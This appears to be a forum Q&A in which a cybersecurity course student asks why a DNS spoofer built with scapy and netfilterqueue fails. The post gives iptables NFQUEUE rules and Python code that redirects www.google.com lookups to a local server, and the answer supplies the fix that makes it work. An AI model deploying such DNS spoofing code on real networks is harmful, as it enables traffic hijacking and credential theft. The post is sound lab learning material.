scapy and netfilterqueue dns spoof not working

Question

I've been following a course on Cybersecurity and I'm currently trying to make a DNS spoofer work. The idea is that each time the target (this same computer) tries to go to www.google.com it goes to the apache server instead. But the only thing it does is not connect to Google. Suffice to say, I have little experience.

I start by:

iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0

Then on Python 3.7

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if b'www.google.com' in qname:
            answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            packet.set_payload(b'scapy_packet')
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

I'm using a NAT network and 10.0.2.5 is my apache server.

Answer 1

Maybe replace:

packet.set_payload(b'scapy_packet')

with:

packet.set_payload(bytes(scapy_packet))